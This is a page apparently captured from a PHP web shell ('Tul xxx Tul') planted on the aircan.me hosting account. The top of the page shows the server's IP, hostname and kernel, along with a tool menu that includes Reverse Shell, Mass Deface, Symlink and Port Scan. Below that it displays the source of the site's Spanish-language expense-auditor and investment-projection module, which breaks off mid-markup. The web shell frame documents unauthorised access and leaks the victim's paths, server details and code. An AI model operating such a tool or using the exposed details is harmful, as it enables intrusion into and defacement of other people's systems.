Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
inversiones
/
Viewing: index.php
<?php /** * Módulo Premium: Micro-Inversiones & Auditor de Gastos * - Robo-Advisor: Proyecciones de interés compuesto + análisis IA * - Auditor de Gastos: Análisis implacable del mes con IA */ require_once __DIR__ . '/../../config/database.php'; require_once __DIR__ . '/../../config/openrouter.php'; $db = getDB(); $uid = $_SESSION['user_id']; $duo = getDuoId(); // ── Obtener Saldo Real (Sincronizado con Dinero) ── $saldoRealUSD = 0.00; try { $stmtSaldos = $db->prepare("SELECT saldo_usd FROM dinero_saldos WHERE usuario_id = :uid AND duo_id = :duo"); $stmtSaldos->execute([':uid' => $uid, ':duo' => $duo]); $saldosInfo = $stmtSaldos->fetch(); $saldoRealUSD = $saldosInfo ? (float)$saldosInfo['saldo_usd'] : 0.00; } catch (PDOException $e) { // Si la columna duo_id no existe en producción aún, intentar sin ella temporalmente try { $stmtSaldos = $db->prepare("SELECT saldo_usd FROM dinero_saldos WHERE usuario_id = :uid"); $stmtSaldos->execute([':uid' => $uid]); $saldosInfo = $stmtSaldos->fetch(); $saldoRealUSD = $saldosInfo ? (float)$saldosInfo['saldo_usd'] : 0.00; } catch (PDOException $e2) { $saldoRealUSD = 0.00; } } // Siempre calculamos ingresos y gastos para mostrarlos en la UI // Array de meses en español $mesesEspanol = ['January' => 'enero', 'February' => 'febrero', 'March' => 'marzo', 'April' => 'abril', 'May' => 'mayo', 'June' => 'junio', 'July' => 'julio', 'August' => 'agosto', 'September' => 'septiembre', 'October' => 'octubre', 'November' => 'noviembre', 'December' => 'diciembre']; $mesActual = date('Y-m'); $mesNameEn = date('F'); // "April" $mesLabel = $mesesEspanol[$mesNameEn] . ' ' . date('Y'); // "abril 2026" $movimientos = []; try { $stmt = $db->prepare(" SELECT monto, moneda, tipo_movimiento, categoria FROM gastos WHERE usuario_id = :uid AND duo_id = :duo AND DATE_FORMAT(fecha, '%Y-%m') COLLATE utf8mb4_unicode_ci = :mes "); $stmt->execute([':uid' => $uid, ':duo' => $duo, ':mes' => $mesActual]); $movimientos = $stmt->fetchAll(); } catch (PDOException $e) { // Fallback si falta duo_id try { $stmt = $db->prepare(" SELECT monto, moneda, tipo_movimiento, categoria FROM gastos WHERE usuario_id = :uid AND DATE_FORMAT(fecha, '%Y-%m') COLLATE utf8mb4_unicode_ci = :mes "); $stmt->execute([':uid' => $uid, ':mes' => $mesActual]); $movimientos = $stmt->fetchAll(); } catch (PDOException $e2) {} } $ingresosUSD = 0; $gastosUSD = 0; $categoriasTotales = []; $topGastos = []; foreach ($movimientos as $m) { if ($m['moneda'] !== 'USD') continue; $val = (float) $m['monto']; $esgasto = ($m['tipo_movimiento'] === 'gasto' || $m['tipo_movimiento'] === 'pago'); if ($esgasto) { $gastosUSD += $val; $cat = $m['categoria'] ?: 'Sin categoría'; if (!isset($categoriasTotales[$cat])) $categoriasTotales[$cat] = 0; $categoriasTotales[$cat] += $val; } else { $ingresosUSD += $val; } } // Ordenar categorías por monto arsort($categoriasTotales); // Definir excedente if ($saldoRealUSD > 0) { $excedenteUSD = $saldoRealUSD; $tituloMonto = 'Saldo Actual Disponible'; } else { $excedenteUSD = max(0, $ingresosUSD - $gastosUSD); $tituloMonto = 'Sobrante Estimado (Sis)'; } // ── Historial de proyecciones ── try { $db->query("CREATE TABLE IF NOT EXISTS inversiones_historial ( id INT AUTO_INCREMENT PRIMARY KEY, usuario_id INT NOT NULL, duo_id INT DEFAULT 1, monto_invertido DECIMAL(12,2) NOT NULL, proyeccion TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )"); $db->query("CREATE TABLE IF NOT EXISTS auditorias_historial ( id INT AUTO_INCREMENT PRIMARY KEY, usuario_id INT NOT NULL, duo_id INT DEFAULT 1, total_gastado DECIMAL(12,2) DEFAULT 0, score INT DEFAULT 0, resultado TEXT, mes VARCHAR(7), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )"); } catch (PDOException $e) {} $historial = []; $historialAudit = []; try { $stmtHist = $db->prepare("SELECT * FROM inversiones_historial WHERE usuario_id = :uid AND duo_id = :duo ORDER BY created_at DESC LIMIT 10"); $stmtHist->execute([':uid' => $uid, ':duo' => $duo]); $historial = $stmtHist->fetchAll(); $stmtAudit = $db->prepare("SELECT * FROM auditorias_historial WHERE usuario_id = :uid AND duo_id = :duo ORDER BY created_at DESC LIMIT 10"); $stmtAudit->execute([':uid' => $uid, ':duo' => $duo]); $historialAudit = $stmtAudit->fetchAll(); } catch (PDOException $e) { // Si la tabla no existe o hubo un error, ignoramos y devolvemos arreglos vacíos } // ── Proyecciones de interés compuesto ── $tasaSP500 = 0.10; $montoBase = $excedenteUSD > 0 ? $excedenteUSD : 100; function calcCompuesto($mensual, $tasa, $anios) { $meses = $anios * 12; $tasaMensual = $tasa / 12; $total = 0; for ($i = 0; $i < $meses; $i++) { $total = ($total + $mensual) * (1 + $tasaMensual); } return round($total, 2); } $proy5 = calcCompuesto($montoBase, $tasaSP500, 5); $proy10 = calcCompuesto($montoBase, $tasaSP500, 10); $proy20 = calcCompuesto($montoBase, $tasaSP500, 20); $totalInvertido5 = $montoBase * 12 * 5; $totalInvertido10 = $montoBase * 12 * 10; $totalInvertido20 = $montoBase * 12 * 20; // Score rápido de disciplina (para mostrar sin IA) $catsFrivolas = ['Entretenimiento', 'Suscripciones', 'Ropa']; $gastoFrivolo = 0; foreach ($categoriasTotales as $cat => $total) { if (in_array($cat, $catsFrivolas)) $gastoFrivolo += $total; } $ratioFrivolo = $gastosUSD > 0 ? ($gastoFrivolo / $gastosUSD) : 0; $scoreRapido = max(0, min(100, round(100 - ($ratioFrivolo * 150) - (count($movimientos) > 30 ? 20 : 0)))); // Colores del score if ($scoreRapido >= 80) { $scoreColor = '#10b981'; $scoreLabel = 'Excelente'; } elseif ($scoreRapido >= 60) { $scoreColor = '#FFD700'; $scoreLabel = 'Aceptable'; } elseif ($scoreRapido >= 40) { $scoreColor = '#f59e0b'; $scoreLabel = 'Riesgoso'; } else { $scoreColor = '#ef4444'; $scoreLabel = 'Crítico'; } // Colores para categorías del donut $donutColors = ['#FFD700', '#D4AF37', '#f59e0b', '#ef4444', '#06b6d4', '#8b5cf6', '#ec4899', '#10b981', '#64748b', '#e2e8f0']; ?> <style> @import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700;800;900&family=JetBrains+Mono:wght@400;600;700&display=swap'); /* ════════════════════════════════════════════════════════ MICRO-INVERSIONES & AUDITOR — NEO-BRUTALIST REMASTER ════════════════════════════════════════════════════════ */ /* ── Typography ── */ .inv-module * { font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, sans-serif !important; } .inv-module .module-subtitle { letter-spacing: 2px; } /* ── Force Square Everything (NO ROUNDED BORDERS) ── */ .inv-module *:not(.spinner-border):not(.spinner-border *):not(.spinner-grow):not(.spinner-grow *):not(.inv-cat-dot):not(.inv-particle):not(.ring-bg):not(.ring-fg):not(svg):not(circle):not(.spinner-gold) { border-radius: 0 !important; } /* Keep spinners and specific elements round */ .inv-module .spinner-border, .inv-module .spinner-grow, .inv-module .spinner-gold, .spinner-gold { border-radius: 50% !important; } /* ── Hide number spinners ── */ .inv-module input[type=number]::-webkit-outer-spin-button, .inv-module input[type=number]::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .inv-module input[type=number] { -moz-appearance: textfield; appearance: textfield; } /* ── Variables Gold ── */ .inv-module { --gold-primary: #FFD700; --gold-secondary: #D4AF37; --gold-glow: rgba(255, 215, 0, 0.15); --gold-border: rgba(212, 175, 55, 0.25); --glass-bg: rgba(15, 15, 15, 0.65); --glass-border: rgba(255, 215, 0, 0.12); --dark-surface: #0f0f0f; --dark-card: #141418; } /* ── Glass Cards (Neo-Brutalist) ── */ .inv-glass-card { background: rgba(20, 20, 24, 0.8) !important; border: 2px solid var(--gold-border) !important; padding: 1.75rem !important; position: relative !important; overflow: hidden !important; box-shadow: 4px 4px 0 rgba(255, 215, 0, 0.15) !important; transition: all 0.2s ease !important; } .inv-glass-card:hover { transform: translate(-2px, -2px) !important; box-shadow: 6px 6px 0 rgba(255, 215, 0, 0.2) !important; } /* ── Hero Card (Neo-Brutalist) ── */ .inv-hero-card { background: rgba(20, 20, 24, 0.9) !important; border: 2px solid var(--gold-border) !important; padding: 2rem !important; position: relative !important; overflow: hidden !important; box-shadow: 5px 5px 0 rgba(255, 215, 0, 0.2) !important; transition: all 0.2s ease !important; } .inv-hero-card:hover { transform: translate(-2px, -2px) !important; box-shadow: 7px 7px 0 rgba(255, 215, 0, 0.25) !important; } .inv-surplus-amount { font-size: 2.6rem; font-weight: 800; background: linear-gradient(135deg, var(--gold-primary), var(--gold-secondary), #fbbf24); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; line-height: 1.1; filter: drop-shadow(0 0 20px rgba(255, 215, 0, 0.2)); } /* ── Tab Navigation (Neo-Brutalist) ── */ .inv-tab-nav { display: flex !important; gap: 8px !important; background: rgba(20, 20, 24, 0.8) !important; padding: 6px !important; border: 2px solid rgba(255, 255, 255, 0.1) !important; } .inv-tab-btn { flex: 1 !important; padding: 12px 20px !important; border: 2px solid transparent !important; background: transparent !important; color: #94a3b8 !important; font-weight: 700 !important; font-size: 0.85rem !important; cursor: pointer !important; transition: all 0.2s ease !important; display: flex !important; align-items: center !important; justify-content: center !important; gap: 8px !important; text-transform: uppercase !important; letter-spacing: 1.5px !important; box-shadow: 2px 2px 0 rgba(0, 0, 0, 0.2) !important; } .inv-tab-btn.active { background: linear-gradient(135deg, var(--gold-primary), var(--gold-secondary)) !important; color: #000 !important; border-color: var(--gold-primary) !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.3) !important; } .inv-tab-btn:hover:not(.active) { background: rgba(255, 255, 255, 0.05) !important; color: #cbd5e1 !important; transform: translate(-1px, -1px) !important; box-shadow: 3px 3px 0 rgba(0, 0, 0, 0.3) !important; } /* ── Projection Cards (Neo-Brutalist) ── */ .inv-projection-card { background: var(--dark-card) !important; border: 2px solid rgba(255, 215, 0, 0.2) !important; padding: 1.5rem !important; text-align: center !important; transition: all 0.2s ease !important; position: relative !important; overflow: hidden !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.15) !important; } .inv-projection-card:hover { transform: translate(-2px, -2px) !important; border-color: var(--gold-primary) !important; box-shadow: 5px 5px 0 rgba(255, 215, 0, 0.25) !important; } .inv-projection-card .years { font-size: 0.75rem !important; font-weight: 700 !important; text-transform: uppercase !important; letter-spacing: 3px !important; color: var(--gold-secondary) !important; margin-bottom: 0.75rem !important; font-family: 'JetBrains Mono', monospace !important; } .inv-projection-card .amount { font-size: 1.7rem !important; font-weight: 800 !important; background: linear-gradient(135deg, var(--gold-primary), #fbbf24) !important; -webkit-background-clip: text !important; -webkit-text-fill-color: transparent !important; background-clip: text !important; line-height: 1.1 !important; } .inv-projection-card .invested { font-size: 0.78rem !important; color: #64748b !important; margin-top: 0.5rem !important; } .inv-projection-card .gain { font-size: 0.85rem !important; color: #10b981 !important; font-weight: 600 !important; margin-top: 0.25rem !important; } /* ── Simulate Card (Neo-Brutalist) ── */ .inv-simulate-card { background: var(--dark-card) !important; border: 2px solid rgba(255, 215, 0, 0.2) !important; padding: 1.5rem !important; box-shadow: 4px 4px 0 rgba(255, 215, 0, 0.15) !important; transition: all 0.2s ease !important; } .inv-simulate-card:hover { transform: translate(-1px, -1px) !important; box-shadow: 5px 5px 0 rgba(255, 215, 0, 0.2) !important; } .inv-input-group { display: flex !important; align-items: center !important; gap: 12px !important; background: rgba(255, 255, 255, 0.03) !important; padding: 8px 16px !important; border: 2px solid rgba(255, 215, 0, 0.2) !important; transition: all 0.2s ease !important; box-shadow: 2px 2px 0 rgba(255, 215, 0, 0.1) !important; } .inv-input-group:focus-within { border-color: var(--gold-primary) !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.2) !important; transform: translate(-1px, -1px) !important; } .inv-input-group input { background: transparent !important; border: none !important; color: #f1f5f9 !important; font-size: 1.4rem !important; font-weight: 700 !important; outline: none !important; width: 100% !important; } .inv-input-group input::placeholder { color: #475569 !important; } .inv-input-group .prefix { font-size: 1.4rem !important; font-weight: 700 !important; color: var(--gold-primary) !important; } /* ── Gold Button (Neo-Brutalist) ── */ .btn-gold { background: linear-gradient(135deg, var(--gold-primary), var(--gold-secondary)) !important; border: 2px solid var(--gold-primary) !important; color: #0f0f0f !important; font-weight: 800 !important; padding: 14px 28px !important; font-size: 0.95rem !important; cursor: pointer !important; transition: all 0.2s ease !important; display: flex !important; align-items: center !important; gap: 10px !important; position: relative !important; overflow: hidden !important; text-transform: uppercase !important; letter-spacing: 2px !important; box-shadow: 4px 4px 0 rgba(255, 215, 0, 0.3) !important; } .btn-gold:hover { transform: translate(-2px, -2px) !important; box-shadow: 6px 6px 0 rgba(255, 215, 0, 0.4) !important; color: #0f0f0f !important; } .btn-gold:active { transform: translate(0, 0) !important; box-shadow: 2px 2px 0 rgba(255, 215, 0, 0.3) !important; } .btn-gold:disabled { opacity: 0.6 !important; cursor: not-allowed !important; transform: none !important; box-shadow: 2px 2px 0 rgba(255, 215, 0, 0.2) !important; } /* ── Audit Button (Neo-Brutalist) ── */ .btn-audit { background: linear-gradient(135deg, #ef4444, #dc2626) !important; border: 2px solid #ef4444 !important; color: white !important; font-weight: 800 !important; padding: 14px 28px !important; font-size: 0.95rem !important; cursor: pointer !important; transition: all 0.2s ease !important; display: flex !important; align-items: center !important; gap: 10px !important; position: relative !important; overflow: hidden !important; text-transform: uppercase !important; letter-spacing: 2px !important; width: 100% !important; justify-content: center !important; box-shadow: 4px 4px 0 rgba(239, 68, 68, 0.3) !important; } .btn-audit:hover { transform: translate(-2px, -2px) !important; box-shadow: 6px 6px 0 rgba(239, 68, 68, 0.4) !important; color: white !important; } .btn-audit:active { transform: translate(0, 0) !important; box-shadow: 2px 2px 0 rgba(239, 68, 68, 0.3) !important; } .btn-audit:disabled { opacity: 0.6 !important; cursor: not-allowed !important; transform: none !important; } /* ── AI Result Box (Neo-Brutalist) ── */ .inv-ai-result { background: rgba(255, 215, 0, 0.03) !important; border: 2px solid var(--gold-border) !important; padding: 1.5rem !important; white-space: pre-line !important; line-height: 1.8 !important; color: #e2e8f0 !important; font-size: 0.93rem !important; max-height: 500px !important; overflow-y: auto !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.1) !important; } .inv-ai-result::-webkit-scrollbar { width: 6px !important; } .inv-ai-result::-webkit-scrollbar-thumb { background: var(--gold-secondary) !important; } /* ── Loader (Gold) ── */ .inv-gold-loader { display: flex !important; align-items: center !important; gap: 12px !important; padding: 1.5rem !important; color: var(--gold-primary) !important; font-weight: 600 !important; } .inv-gold-loader .spinner-gold { width: 20px !important; height: 20px !important; border: 2.5px solid rgba(255, 215, 0, 0.2) !important; border-top-color: var(--gold-primary) !important; border-radius: 50% !important; animation: spinGold 0.8s linear infinite !important; } @keyframes spinGold { to { transform: rotate(360deg); } } /* ── Typewriter cursor ── */ .typewriter-cursor { display: inline-block !important; width: 2px !important; height: 1em !important; background: var(--gold-primary) !important; margin-left: 2px !important; animation: blink 0.7s step-end infinite !important; vertical-align: text-bottom !important; } @keyframes blink { 50% { opacity: 0; } } /* ── Score Badge ── */ .inv-score-ring { position: relative !important; width: 100px !important; height: 100px !important; } .inv-score-ring svg { width: 100% !important; height: 100% !important; transform: rotate(-90deg) !important; } .inv-score-ring .ring-bg { fill: none !important; stroke: rgba(255, 255, 255, 0.05) !important; stroke-width: 6 !important; } .inv-score-ring .ring-fg { fill: none !important; stroke-width: 6 !important; stroke-linecap: round !important; transition: stroke-dashoffset 1.5s cubic-bezier(0.4, 0, 0.2, 1) !important; } .inv-score-value { position: absolute !important; top: 50% !important; left: 50% !important; transform: translate(-50%, -50%) !important; font-size: 1.5rem !important; font-weight: 800 !important; } .inv-score-label { font-size: 0.7rem !important; font-weight: 700 !important; text-transform: uppercase !important; letter-spacing: 1.5px !important; margin-top: 6px !important; font-family: 'JetBrains Mono', monospace !important; } /* ── Donut Chart ── */ .inv-donut-wrapper { position: relative; width: 140px; height: 140px; margin: 0 auto; } .inv-donut-wrapper svg { width: 100%; height: 100%; } .inv-donut-center { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; } .inv-donut-center .total { font-size: 1rem; font-weight: 800; color: var(--gold-primary); } .inv-donut-center .label { font-size: 0.6rem; color: #94a3b8; text-transform: uppercase; letter-spacing: 1px; } /* ── Category Legend ── */ .inv-cat-item { display: flex; align-items: center; gap: 10px; padding: 6px 0; } .inv-cat-dot { width: 10px; height: 10px; border-radius: 50%; flex-shrink: 0; } .inv-cat-name { flex-grow: 1; font-size: 0.82rem; color: #cbd5e1; } .inv-cat-amount { font-size: 0.82rem; font-weight: 600; color: #f1f5f9; } /* ── Top Fugas (Neo-Brutalist) ── */ .inv-fuga-item { display: flex !important; align-items: center !important; gap: 12px !important; padding: 10px 14px !important; background: rgba(239, 68, 68, 0.05) !important; border: 2px solid rgba(239, 68, 68, 0.2) !important; transition: all 0.2s ease !important; box-shadow: 2px 2px 0 rgba(239, 68, 68, 0.15) !important; } .inv-fuga-item:hover { border-color: rgba(239, 68, 68, 0.4) !important; background: rgba(239, 68, 68, 0.08) !important; transform: translate(-1px, -1px) !important; box-shadow: 3px 3px 0 rgba(239, 68, 68, 0.2) !important; } .inv-fuga-rank { width: 28px !important; height: 28px !important; display: flex !important; align-items: center !important; justify-content: center !important; font-weight: 800 !important; font-size: 0.75rem !important; flex-shrink: 0 !important; border: 2px solid currentColor !important; } /* ── History Items (Neo-Brutalist) ── */ .inv-history-item { background: var(--dark-card) !important; border: 2px solid rgba(255, 215, 0, 0.15) !important; padding: 1rem 1.25rem !important; transition: all 0.2s ease !important; box-shadow: 2px 2px 0 rgba(255, 215, 0, 0.1) !important; } .inv-history-item:hover { border-color: var(--gold-primary) !important; box-shadow: 4px 4px 0 rgba(255, 215, 0, 0.2) !important; transform: translate(-1px, -1px) !important; } /* ── Badge (Neo-Brutalist) ── */ .inv-badge-premium { background: linear-gradient(135deg, var(--gold-primary), var(--gold-secondary)) !important; color: #0f0f0f !important; font-size: 0.55rem !important; font-weight: 800 !important; letter-spacing: 1.5px !important; padding: 4px 10px !important; text-transform: uppercase !important; border: 2px solid var(--gold-primary) !important; box-shadow: 2px 2px 0 rgba(255, 215, 0, 0.3) !important; } /* ── Section Titles ── */ .inv-section-title { color: var(--gold-primary) !important; font-weight: 700 !important; font-size: 0.85rem !important; text-transform: uppercase !important; letter-spacing: 2px !important; margin-bottom: 1rem !important; display: flex !important; align-items: center !important; gap: 8px !important; } .inv-section-title::after { content: '' !important; flex-grow: 1 !important; height: 2px !important; background: var(--gold-border) !important; } /* ── Button Icon (Neo-Brutalist) ── */ .inv-module .btn-icon { width: 36px !important; height: 36px !important; display: flex !important; align-items: center !important; justify-content: center !important; background: rgba(255, 255, 255, 0.05) !important; border: 2px solid rgba(255, 255, 255, 0.15) !important; color: #94a3b8 !important; cursor: pointer !important; transition: all 0.2s ease !important; box-shadow: 2px 2px 0 rgba(0, 0, 0, 0.2) !important; } .inv-module .btn-icon:hover { transform: translate(-1px, -1px) !important; box-shadow: 3px 3px 0 rgba(0, 0, 0, 0.3) !important; background: rgba(255, 255, 255, 0.08) !important; } .inv-module .btn-icon.danger:hover { border-color: #ef4444 !important; color: #ef4444 !important; background: rgba(239, 68, 68, 0.1) !important; } /* ── Particles ── */ .inv-particles { position: fixed !important; top: 0 !important; left: 0 !important; width: 100% !important; height: 100% !important; pointer-events: none !important; z-index: 9999 !important; overflow: hidden !important; } .inv-particle { position: absolute !important; width: 4px !important; height: 4px !important; background: var(--gold-primary) !important; border-radius: 50% !important; opacity: 0 !important; animation: particleFall 2s ease-out forwards !important; } @keyframes particleFall { 0% { opacity: 1; transform: translateY(0) scale(1); } 100% { opacity: 0; transform: translateY(100vh) scale(0.3); } } /* ── Modal Styles (Neo-Brutalist) ── */ body #modalInvHistorial .modal-content, body #modalInvHistorial .modal-content *:not(.spinner-border):not(.spinner-grow):not(.spinner-gold):not(svg):not(circle) { border-radius: 0 !important; } .inv-module .modal-content, body #modalInvHistorial .modal-content { background: #0a0a0a !important; border: 2px solid var(--gold-border) !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.2) !important; } .inv-module .modal-header, body #modalInvHistorial .modal-header { border-bottom: 2px solid var(--gold-border) !important; } .inv-module .modal-footer, body #modalInvHistorial .modal-footer { border-top: 2px solid var(--gold-border) !important; } .inv-module .modal-title, body #modalInvHistorial .modal-title { font-family: 'Space Grotesk', sans-serif !important; font-weight: 800 !important; text-transform: uppercase !important; letter-spacing: 2px !important; font-size: 1rem !important; color: var(--gold-primary) !important; } .inv-module .btn-close, body #modalInvHistorial .btn-close { background-color: transparent !important; border: 2px solid rgba(255, 255, 255, 0.2) !important; opacity: 1 !important; padding: 0.5rem !important; transition: all 0.2s !important; box-shadow: 2px 2px 0 rgba(0, 0, 0, 0.2) !important; filter: brightness(0) invert(1) !important; } .inv-module .btn-close:hover, body #modalInvHistorial .btn-close:hover { border-color: #ef4444 !important; transform: translate(-1px, -1px) !important; box-shadow: 3px 3px 0 rgba(239, 68, 68, 0.3) !important; } body #modalInvHistorial .modal-body { padding: 1.5rem !important; } body #modalInvHistorial .inv-ai-result { max-height: none !important; border: 2px solid var(--gold-border) !important; box-shadow: 3px 3px 0 rgba(255, 215, 0, 0.1) !important; } body #modalInvHistorial .modal-dialog { border-radius: 0 !important; } /* ── Responsive ── */ @media (max-width: 768px) { .inv-module .module-header { flex-direction: column !important; align-items: stretch !important; } .inv-surplus-amount { font-size: 2rem !important; } .inv-projection-card .amount { font-size: 1.5rem !important; } } @media (max-width: 576px) { .inv-surplus-amount { font-size: 1.8rem !important; } .inv-projection-card .amount { font-size: 1.3rem !important; } .inv-hero-card { padding: 1.25rem !important; } .inv-tab-btn { font-size: 0.75rem !important; padding: 10px 12px !important; letter-spacing: 1px !important; } .inv-score-ring { width: 80px !important; height: 80px !important; } .inv-score-value { font-size: 1.2rem !important; } .btn-gold, .btn-audit { padding: 12px 20px !important; font-size: 0.85rem !important; letter-spacing: 1.5px !important; } } /* ── Confirmation Modal (Neo-Brutalist) ── */ #confirmModal { padding: 10px !important; } #confirmModal.show { padding: 10px !important; } body #confirmModal .modal-dialog { padding: 0 !important; margin: 1.75rem auto !important; } body #confirmModal .modal-content { background: #0f0f0f !important; border: 2px solid rgba(255, 255, 255, 0.15) !important; box-shadow: 6px 6px 0 rgba(0, 0, 0, 0.5) !important; border-radius: 0 !important; margin: 0 !important; } body #confirmModal .modal-header { border-bottom: 2px solid rgba(255, 255, 255, 0.1) !important; border-radius: 0 !important; } body #confirmModal .modal-body { border-radius: 0 !important; } body #confirmModal .modal-footer { border-top: 2px solid rgba(255, 255, 255, 0.1) !important; border-radius: 0 !important; } body #confirmModal .modal-title { font-family: 'Space Grotesk', sans-serif !important; font-weight: 800 !important; text-transform: uppercase !important; letter-spacing: 2px !important; } body #confirmModal .btn-danger { background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%) !important; border: 2px solid #ef4444 !important; border-radius: 0 !important; color: #fff !important; font-weight: 800 !important; text-transform: uppercase !important; letter-spacing: 2px !important; box-shadow: 3px 3px 0 rgba(239, 68, 68, 0.3) !important; transition: all 0.2s ease !important; font-family: 'Space Grotesk', sans-serif !important; } body #confirmModal .btn-danger:hover { transform: translate(-2px, -2px) !important; box-shadow: 5px 5px 0 rgba(239, 68, 68, 0.4) !important; } body #confirmModal .btn-danger:active { transform: translate(0, 0) !important; box-shadow: 2px 2px 0 rgba(239, 68, 68, 0.3) !important; } body #confirmModal .btn-secondary { background: transparent !important; border: 2px solid rgba(255, 255, 255, 0.2) !important; border-radius: 0 !important; color: #fff !important; font-weight: 700 !important; text-transform: uppercase !important; letter-spacing: 1.5px !important; box-shadow: 3px 3px 0 rgba(255, 255, 255, 0.05) !important; transition: all 0.2s ease !important; font-family: 'Space Grotesk', sans-serif !important; } body #confirmModal .btn-secondary:hover { transform: translate(-2px, -2px) !important; box-shadow: 5px 5px 0 rgba(255, 255, 255, 0.08) !important; background: rgba(255, 255, 255, 0.03) !important; } body #confirmModal .btn-secondary:active { transform: translate(0, 0) !important; box-shadow: 2px 2px 0 rgba(255, 255, 255, 0.05) !important; } </style> <div class="inv-module fade-in-up"> <div class="module-header d-flex flex-wrap align-items-start justify-content-between gap-3"> <div> <h1 class="module-title text-uppercase"> <i class="bi bi-graph-up-arrow" style="color: var(--gold-primary);"></i> Micro-Inversiones <span class="inv-badge-premium ms-2">PREMIUM</span> </h1> <p class="module-subtitle">Auditoría implacable + Robo-Advisor con interés compuesto</p> </div> </div> <!-- Tab Navigation --> <div class="inv-tab-nav mb-4 fade-in-up fade-in-up-delay-1"> <button class="inv-tab-btn active" onclick="InversionesModule.switchTab('auditor', this)" id="tab-auditor"> <i class="bi bi-shield-exclamation"></i> Auditar mi Mes </button> <button class="inv-tab-btn" onclick="InversionesModule.switchTab('inversiones', this)" id="tab-inversiones"> <i class="bi bi-graph-up-arrow"></i> Robo-Advisor </button> </div> <!-- ═══════════════════════════════════════════════════ TAB 1: AUDITOR DE GASTOS ═══════════════════════════════════════════════════ --> <div id="panel-auditor"> <!-- Hero Auditor --> <div class="inv-hero-card mb-4 fade-in-up fade-in-up-delay-1"> <div class="d-flex flex-column flex-md-row justify-content-between align-items-md-center gap-4"> <div class="flex-grow-1" style="z-index: 1;"> <div class="d-flex align-items-center gap-2 mb-2"> <i class="bi bi-shield-exclamation" style="color: var(--gold-primary); font-size: 1.2rem;"></i> <span class="text-white fw-semibold" style="font-size: 0.9rem;">Auditor de Gastos — <?= ucfirst($mesLabel ?: date('F Y')) ?></span> </div> <div class="inv-surplus-amount mb-2"> $<?= number_format($gastosUSD, 2, '.', ',') ?> </div> <small class="text-secondary">gastados en USD este mes</small> <div class="d-flex flex-wrap gap-3 mt-3"> <div> <small class="text-secondary d-block">Ingresos</small> <span style="color: #10b981; font-weight: 600;">+$<?= number_format($ingresosUSD, 2, '.', ',') ?></span> </div> <div> <small class="text-secondary d-block">Gastos</small> <span style="color: #ef4444; font-weight: 600;">-$<?= number_format($gastosUSD, 2, '.', ',') ?></span> </div> <div> <small class="text-secondary d-block">Neto</small> <span style="color: <?= ($ingresosUSD - $gastosUSD) >= 0 ? '#10b981' : '#ef4444' ?>; font-weight: 600;">$<?= number_format($ingresosUSD - $gastosUSD, 2, '.', ',') ?></span> </div> </div> </div> <!-- Score Ring --> <div class="text-center flex-shrink-0" style="z-index: 1;"> <div class="inv-score-ring mx-auto"> <svg viewBox="0 0 100 100"> <circle class="ring-bg" cx="50" cy="50" r="42" /> <circle class="ring-fg" cx="50" cy="50" r="42" stroke="<?= $scoreColor ?>" stroke-dasharray="<?= 2 * M_PI * 42 ?>" stroke-dashoffset="<?= 2 * M_PI * 42 * (1 - $scoreRapido / 100) ?>" id="score-ring-circle" /> </svg> <div class="inv-score-value" style="color: <?= $scoreColor ?>;" id="score-value"><?= $scoreRapido ?></div> </div> <div class="inv-score-label" style="color: <?= $scoreColor ?>;" id="score-label"><?= $scoreLabel ?></div> <small class="text-secondary" style="font-size: 0.65rem;">Disciplina Financiera</small> </div> </div> </div> <!-- Desglose + Donut + Top Fugas --> <div class="row g-3 mb-4 fade-in-up fade-in-up-delay-2"> <!-- Donut Chart --> <div class="col-12 col-md-5"> <div class="inv-glass-card h-100"> <div class="inv-section-title"> <i class="bi bi-pie-chart-fill"></i> Desglose por Categoría </div> <?php if (!empty($categoriasTotales)): ?> <div class="inv-donut-wrapper mb-3"> <svg viewBox="0 0 100 100"> <?php $radius = 38; $circumference = 2 * M_PI * $radius; $offset = 0; $i = 0; foreach ($categoriasTotales as $cat => $total): $pct = $gastosUSD > 0 ? ($total / $gastosUSD) : 0; $dash = $pct * $circumference; $color = $donutColors[$i % count($donutColors)]; ?> <circle cx="50" cy="50" r="<?= $radius ?>" fill="none" stroke="<?= $color ?>" stroke-width="8" stroke-dasharray="<?= $dash ?> <?= $circumference - $dash ?>" stroke-dashoffset="<?= -$offset ?>" transform="rotate(-90 50 50)" style="transition: all 0.5s ease <?= $i * 0.1 ?>s;" /> <?php $offset += $dash; $i++; endforeach; ?> </svg> <div class="inv-donut-center"> <div class="total">$<?= number_format($gastosUSD, 0, '.', ',') ?></div> <div class="label">Total</div> </div> </div> <div class="d-flex flex-column"> <?php $i = 0; foreach ($categoriasTotales as $cat => $total): ?> <div class="inv-cat-item"> <div class="inv-cat-dot" style="background: <?= $donutColors[$i % count($donutColors)] ?>;"></div> <span class="inv-cat-name"><?= htmlspecialchars($cat) ?></span> <span class="inv-cat-amount">$<?= number_format($total, 2, '.', ',') ?></span> </div> <?php $i++; endforeach; ?> </div> <?php else: ?> <div class="text-center text-secondary py-4"> <i class="bi bi-inbox d-block" style="font-size: 2rem; opacity: 0.3;"></i> <small>Sin gastos este mes</small> </div> <?php endif; ?> </div> </div> <!-- Top Fugas + Botón Auditar --> <div class="col-12 col-md-7"> <div class="inv-glass-card h-100 d-flex flex-column"> <div class="inv-section-title"> <i class="bi bi-droplet-fill"></i> 